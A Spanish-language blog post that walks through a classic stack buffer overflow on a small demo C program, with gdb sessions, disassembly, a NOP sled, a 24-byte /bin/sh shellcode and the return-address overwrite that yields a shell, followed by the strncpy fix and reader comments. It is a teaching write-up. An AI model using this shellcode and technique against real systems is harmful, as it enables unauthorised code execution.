lunes, 22 de octubre de 2012

Linux x86: Adjacent Memory Overflows

Durante los días 18 y 19 de Octubre de 2012, tuve el placer de viajar y presentarme como disertante a la 8.8 Security Conference en la hermosa ciudad de Santiago de Chile.

Durante mi conferencia sobre "Buffer Overflow for fun and pr0fit", luego de la larga y aburrida introducción teórica hice algunas demostraciones prácticas de explotación de binarios, bypasseo de protecciones y "adjacent memory corruption explotation" en la cual esta última falló, quizá por la presión de hacerlo en vivo, nervios o lo que sea, falló. Entonces me gustaría a través de este post hacer un repaso de este último tópico que me hubiera encantado haberlo compartido en vivo durante mi charla.



Tomamos el siguiente código en ANSI C:

Como vemos este pequeño programa (dsr.c, que pueden descargar de aquí) de ejemplo, toma los dos argumentos posicionales que entran (argv[1] y argv[2]).
Nuestro ejemplo también declara tres variables (buffers) del tipo char. De los cuales argv[1] se copia a vuln_array y argv[2] se copia a exploit_string, utilizando la función strncpy.

Según la propia página del manual de strncpy:
NAME
       strcpy, strncpy - copy a string

SYNOPSIS
       #include 
       char *strcpy(char *dest, const char *src);
       char *strncpy(char *dest, const char *src, size_t n);

DESCRIPTION
       The  strcpy()  function  copies  the string pointed to by src, including the  
       terminating null byte ('\0'), to the buffer pointed to by dest.
       The strings may not overlap, and the destination string dest must be large 
       enough to receive the copy.

       The strncpy() function is similar, except that at most n bytes of src are 
       copied.  Warning: If there is no null byte among the first n bytes
       of src, the string placed in dest will not be null-terminated.

       If the length of src is less than n, strncpy() pads the remainder of dest with 
       null bytes.
Para poder terminar un string de manera correcta debemos añadirle al final un null byte (0x00 = \0), por lo tanto la función strncpy() al encontrar el null byte, se dará cuenta que es end of the string, y dejará de copiar. Si este null no existiera, podríamos sencillamente seguir copiando (o modificando la memoría), sin límite alguno, pudiendo incluso poder corromper la memoria adyacente a nuestro buffer.

Veamos el siguiente ejemplo, tenemos dos buffers del tipo char definidos, buffer1[] y buffer2[] con el siguiente contenido:
char buffer1[] = "hello";
char buffer2[] = "goodbye;
Una vez compilado, en la memoria esto se vería de la siguiente manera:
[top of stack]
buffer2[0] = 'g';
buffer2[1] = 'o';
buffer2[2] = 'o';
buffer2[3] = 'd';
buffer2[4] = 'b';
buffer2[5] = 'y';
buffer2[6] = 'e';
buffer2[7] = '\0'; <-- NULL BYTE
buffer1[0] = 'h';
buffer1[1] = 'e';
buffer1[2] = 'l';
buffer1[3] = 'l';
buffer1[4] = 'o';
buffer1[5] = '\0';  <-- NULL BYTE
Entonces, ¿como podríamos nosotros atacar a nuestro programa? (dsr.c). Conociendo que la función strncpy() va a copiar todo lo que se encuentre en el buffer hasta el último byte, nosotros esencialmente podríamos escribir 256 caracteres dentro del buffer a fin de sobreescribir el NULL byte localizado al final, accediendo y manipulando el segundo buffer y atacando a la función sprintf() la cual es vulnerable a buffer overflow, debido a que no tiene control sobre los flujos de datos que manipula.
Ahora compilemos y desensamblemos la función main() de nuestro programa:
(gdb) disassemble main 
Dump of assembler code for function main:
   0x08048474 <+0>: push   ebp
   0x08048475 <+1>: mov    ebp,esp
   0x08048477 <+3>: and    esp,0xfffffff0
   0x0804847a <+6>: sub    esp,0x620
   0x08048480 <+12>: cmp    DWORD PTR [ebp+0x8],0x2
   0x08048484 <+16>: jg     0x80484a8 
0x08048486 <+18>: mov eax,DWORD PTR [ebp+0xc] 0x08048489 <+21>: mov edx,DWORD PTR [eax] 0x0804848b <+23>: mov eax,0x80485f4 0x08048490 <+28>: mov DWORD PTR [esp+0x4],edx 0x08048494 <+32>: mov DWORD PTR [esp],eax 0x08048497 <+35>: call 0x8048390 0x0804849c <+40>: mov DWORD PTR [esp],0x0 0x080484a3 <+47>: call 0x80483b0 0x080484a8 <+52>: mov eax,DWORD PTR [ebp+0xc] 0x080484ab <+55>: add eax,0x4 0x080484ae <+58>: mov eax,DWORD PTR [eax] 0x080484b0 <+60>: mov DWORD PTR [esp+0x8],0x100 0x080484b8 <+68>: mov DWORD PTR [esp+0x4],eax 0x080484bc <+72>: lea eax,[esp+0x19] 0x080484c0 <+76>: mov DWORD PTR [esp],eax 0x080484c3 <+79>: call 0x8048370 0x080484c8 <+84>: mov eax,DWORD PTR [ebp+0xc] 0x080484cb <+87>: add eax,0x8 0x080484ce <+90>: mov eax,DWORD PTR [eax] 0x080484d0 <+92>: mov DWORD PTR [esp+0x8],0x400 0x080484d8 <+100>: mov DWORD PTR [esp+0x4],eax 0x080484dc <+104>: lea eax,[esp+0x119] 0x080484e3 <+111>: mov DWORD PTR [esp],eax 0x080484e6 <+114>: call 0x8048370 0x080484eb <+119>: mov eax,0x8048611 0x080484f0 <+124>: lea edx,[esp+0x19] 0x080484f4 <+128>: mov DWORD PTR [esp+0x8],edx 0x080484f8 <+132>: mov DWORD PTR [esp+0x4],eax 0x080484fc <+136>: lea eax,[esp+0x519] 0x08048503 <+143>: mov DWORD PTR [esp],eax 0x08048506 <+146>: call 0x8048350 0x0804850b <+151>: lea eax,[esp+0x519] 0x08048512 <+158>: mov DWORD PTR [esp],eax 0x08048515 <+161>: call 0x80483a0 0x0804851a <+166>: mov eax,0x0 0x0804851f <+171>: leave 0x08048520 <+172>: ret End of assembler dump.
Lo que podemos ver en el dump, es como en las primeras instrucciones reservamos memoria para nuestros tres buffers, y como luego más adelante (a partir de +52) nos preparamos para entrar en la función strncpy@plt para finalmente llamar a sprintf@plt. Como sabemos que la función sprintf() es vulnerable a Buffer Overflow vamos a proceder a atacarla!.
Lo primero que debemos realizar es determinar cual va a ser nuestro vector de ataque, en este caso lo va a ser vía argv[1] argv[2], por lo cual, vamos a tratar de encontrar con que cantidad de bytes estos buffers (principalmente argv[1]) hacen overflow.
(gdb) set args $(python -c 'print "\x41"*256') $(python -c 'print "\x41"*14')
(gdb) r
MSG: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
--------------------------------------------------------------------------[regs]
  EAX: 0x00000000  EBX: 0x002BEFF4  ECX: 0x002BF4E0  EDX: 0x002C0340  o d I t s Z a P c 
  ESI: 0x00000000  EDI: 0x00000000  EBP: 0x41414141  ESP: 0xBFFFF550  EIP: 0x0014000A
  CS: 0073  DS: 007B  ES: 007B  FS: 0000  GS: 0033  SS: 007B
[0x007B:0xBFFFF550]------------------------------------------------------[stack]
0xBFFFF5A0 : 00 00 00 00 00 00 00 00 - 03 00 00 00 C0 83 04 08 ................
0xBFFFF590 : C8 F5 FF BF D3 C1 3F 9D - AC 76 0C 4B 00 00 00 00 ......?..v.K....
0xBFFFF580 : B0 16 13 00 F4 EF 2B 00 - 00 00 00 00 00 00 00 00 ......+.........
0xBFFFF570 : 01 00 00 00 B0 F5 FF BF - C5 E7 11 00 B0 FA 12 00 ................
0xBFFFF560 : C0 83 04 08 FF FF FF FF - C4 EF 12 00 7F 82 04 08 ................
0xBFFFF550 : 03 00 00 00 F4 F5 FF BF - 04 F6 FF BF D0 13 13 00 ................
--------------------------------------------------------------------------[code]
=> 0x14000a: add    BYTE PTR [eax],al
   0x14000c: adc    al,BYTE PTR [eax]
   0x14000e: or     al,0x0
   0x140010: and    ax,0x0
   0x140014: mov    al,ds:0x3d000d60
   0x140019: add    BYTE PTR [eax],al
   0x14001b: add    BYTE PTR [edx],dl
   0x14001d: add    BYTE PTR [eax+eax*1],cl
--------------------------------------------------------------------------------
0x0014000a in ?? () from /lib/libc.so.6
Acabamos de escribir 256 letras "A" (0x41) en argv[1], sobrescribiendo el NULL byte con que debía terminar este string, y pisando la memoria adyacente y sobreescribiendo registros. Primero %EBP y luego %EIP. Por lo tanto nuestro esquema quedaría así:
[ARGV[1] == 256 bytes ]+[ARGV[2] == 14 bytes]+[EBP]+[EIP]
A fin de distinguir estas partes de manera rápida y sencilla, vamos a continuar atacando esto, escribiendo algo de basura a en %EBP (en este caso algunas "B" (0x42424242), y una return address (%EIP) falsa 0xbfffffff.
(gdb) set args $(python -c 'print "\x41"*256') $(python -c 'print "\x41"*10+"\x42\x42\x42\x42"+"\xff\xff\xff\xbf"')
(gdb) r
MSG: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB����

Program received signal SIGSEGV, Segmentation fault.
--------------------------------------------------------------------------[regs]
  EAX: 0x00000000  EBX: 0x002BEFF4  ECX: 0x002BF4E0  EDX: 0x002C0340  o d I t s Z a P c 
  ESI: 0x00000000  EDI: 0x00000000  EBP: 0x42424242  ESP: 0xBFFFF550  EIP: 0xBFFFFFFF
  CS: 0073  DS: 007B  ES: 007B  FS: 0000  GS: 0033  SS: 007BError while running hook_stop:
Cannot access memory at address 0xc0000000
0xbfffffff in ?? ()
Bien!, hemos logrado adulterar el registro %EIP y nuestro programa intento acceder a la dirección 0xbffffffff, la cual no es parte del espacio de direcciones de nuestro proceso, por lo cual, no existe. Ahora haremos lo siguiente:
  • Reemplazar los 0x41 de argv[1] por nops (0x90).
  • Restarle a la cantidad de NOPs a este el tamaño de nuestra shellcode (24 bytes)
Como sabemos una shellcode no necesariamente nos va a dar una shell, pero en este caso decidimos utilizar una que si haga esto, por lo cual ejecutaremos un clásico /bin/sh en tan solo 24 bytes:
PLATAFORM=Linux x86 - CMD=/bin/sh - SIZE=24 bytes 
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
Ahora configuremos esto en argv[1] restemos a la cantidad de NOP's los 24 bytes de nuestra shellcode y ejecutemos todo otra vez.
(gdb) set args $(python -c 'print "\x90"*232+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"') $(python -c 'print "\x41"*10+"\x42\x42\x42\x42"+"\xff\xff\xff\xbf"')
(gdb) r
MSG: ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������1�Ph//shh/bin��PS�AAAAAAAAAABBBB����

Program received signal SIGSEGV, Segmentation fault.
--------------------------------------------------------------------------[regs]
  EAX: 0x00000000  EBX: 0x002BEFF4  ECX: 0x002BF4E0  EDX: 0x002C0340  o d I t s Z a P c 
  ESI: 0x00000000  EDI: 0x00000000  EBP: 0x42424242  ESP: 0xBFFFF550  EIP: 0xBFFFFFFF
  CS: 0073  DS: 007B  ES: 007B  FS: 0000  GS: 0033  SS: 007BError while running hook_stop:
Cannot access memory at address 0xc0000000
0xbfffffff in ?? ()
Ahora deberemos determinar en que dirección de memoria se encuentran los NOP's que acabamos de añadir, a fin de apuntar nuestra return address hacia ellos. Para ello vamos a mapear la memoria del registro %ESP:
0xbffff740: 0x0000 0x0000 0x0000 0x0000 0x682f 0x6d6f 0x2f65 0x7474
0xbffff750: 0x3079 0x452f 0x6178 0x706d 0x656c 0x2f73 0x7364 0x0072
0xbffff760: 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090
0xbffff770: 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090
0xbffff780: 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090
0xbffff790: 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090
0xbffff7a0: 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090
0xbffff7b0: 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090
0xbffff7c0: 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090
0xbffff7d0: 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090
0xbffff7e0: 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090
0xbffff7f0: 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090
0xbffff800: 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090
0xbffff810: 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090
0xbffff820: 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090
0xbffff830: 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090
0xbffff840: 0x9090 0x9090 0x9090 0x9090 0xc031 0x6850 0x2f2f 0x6873
0xbffff850: 0x2f68 0x6962 0x896e 0x50e3 0x8953 0x99e1 0x0bb0 0x80cd
0xbffff860: 0x4100 0x4141 0x4141 0x4141 0x4141 0x4241 0x4242 0xff42
Si observamos rápidamente a partir de la dirección 0xbfffff760 empiezan nuestros NOPs, por lo tanto, esta podría ser la return address que necesitamos, más abajo vamos a encontrar nuestra shellcode (a partir de 0xbffff840), nuestro padding (0x41), nuestro registro %ESP (0x42424242) y finalmente el %EIP (0xbfffffff). Por lo tanto, ya sabemos a donde apuntar nuestro return address, así que ajustamos esto y ejecutamos todo nuevamente:
(gdb) set args $(python -c 'print "\x90"*232+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"') $(python -c 'print "\x41"*10+"\x42\x42\x42\x42"+"\x60\xf7\xff\xbf"')
(gdb) r
MSG: ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������1�Ph//shh/bin��PS�AAAAAAAAAABBBB���

process 1265 is executing new program: /bin/bash
sh-4.1$ 
Bien, hemos exploteado una aplicación "segura", que podría haber sido prevenido si mientras copiábamos le restamos un carácter que corresponde a nuestro NULL byte, [ n - 1 ], por ejemplo:
strncpy(vuln_array, argv[1], sizeof(vuln_array) - 1);
strncpy(exploit_string, argv[2], sizeof(exploit_string) - 1);

5 comentarios:

  1. Facundo cual es la utilidad de esta demostracion?
    o cual es sentido utilidad que le encontras?



    ResponderEliminar
    Respuestas
    1. Solamente explicar la vulnerabilidad y jugar un poco, nada mas.

      Eliminar
  2. Aprender!!!!!!! Anselmo! Aprender!!!!!
    Gracias Facundo. Algunos dan verguenza ajena que ni las gracias dan y preguntan boludeces.

    ResponderEliminar
  3. Muchas gracias tty0, lo explicas de una manera genial !

    ResponderEliminar
  4. It was very nice article and it is very useful to Linux learners.We also provide Linux online training

    ResponderEliminar